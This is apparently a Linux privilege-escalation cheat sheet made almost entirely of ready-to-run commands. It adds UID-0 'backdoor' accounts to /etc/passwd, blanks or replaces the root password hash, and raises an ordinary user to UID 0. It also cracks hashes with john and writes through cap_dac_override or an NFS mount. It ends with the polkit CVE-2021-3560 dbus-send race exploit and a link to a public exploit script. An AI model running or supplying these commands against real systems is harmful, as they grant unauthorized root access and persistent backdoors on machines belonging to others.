Editing /etc/passwd

ls -la /etc/passwd

username:password:UID:GID:comment:home:shell

openssl passwd -1 password123
# Output: $1$xyz$abc...

openssl passwd -6 password123
# Output: $6$xyz$abc... (SHA-512, stronger)

mkpasswd -m sha-512 password123

python3 -c 'import crypt; print(crypt.crypt("password123", crypt.mksalt(crypt.METHOD_SHA512)))'

# Generate hash
HASH=$(openssl passwd -1 password123)

# Add user with UID 0
echo "backdoor:$HASH:0:0::/root:/bin/bash" >> /etc/passwd

su backdoor
# Password: password123
# whoami → root

echo 'backdoor:$1$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd && su backdoor

echo "nopass::0:0::/root:/bin/bash" >> /etc/passwd
su nopass

# Before: user:x:1000:1000::/home/user:/bin/bash
# After:  user:x:0:0::/home/user:/bin/bash
sed -i 's/user:x:1000:1000/user:x:0:0/' /etc/passwd

su user

HASH=$(openssl passwd -1 newpassword)
sed -i "s|root:x:|root:$HASH:|" /etc/passwd
su root
# Password: newpassword

sed -i 's/root:x:/root::/' /etc/passwd
su root
# No password needed

cat /etc/passwd | grep -v ":x:" | grep -v ":\*:" | grep -v ":!:"

john --wordlist=/usr/share/wordlists/rockyou.txt passwd

# Copy passwd, modify, overwrite
cp /etc/passwd /tmp/passwd.bak
echo "backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd

# Python with cap_dac_override
python3 -c '
import os
with open("/etc/passwd", "a") as f:
    f.write("backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash\n")
'

# From attacker as root on mounted share
echo "backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash" >> /mnt/nfs/etc/passwd

pkaction --version
# Vulnerable: polkit 0.113–0.118 (fixed in 0.119); Debian/Ubuntu 0.105 fork from 0.105-26

# Create user
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:backdoor string:"Backdoor" int32:1 &
sleep 0.005s; kill $!

# Set password
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$hash' string:"" &
sleep 0.005s; kill $!

for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:backdoor string:"Backdoor" int32:1 &
    sleep 0.008s; kill $! 2>/dev/null
done

su backdoor
sudo bash

https://github.com/Almorabea/Polkit-exploit
python3 CVE-2021-3560.py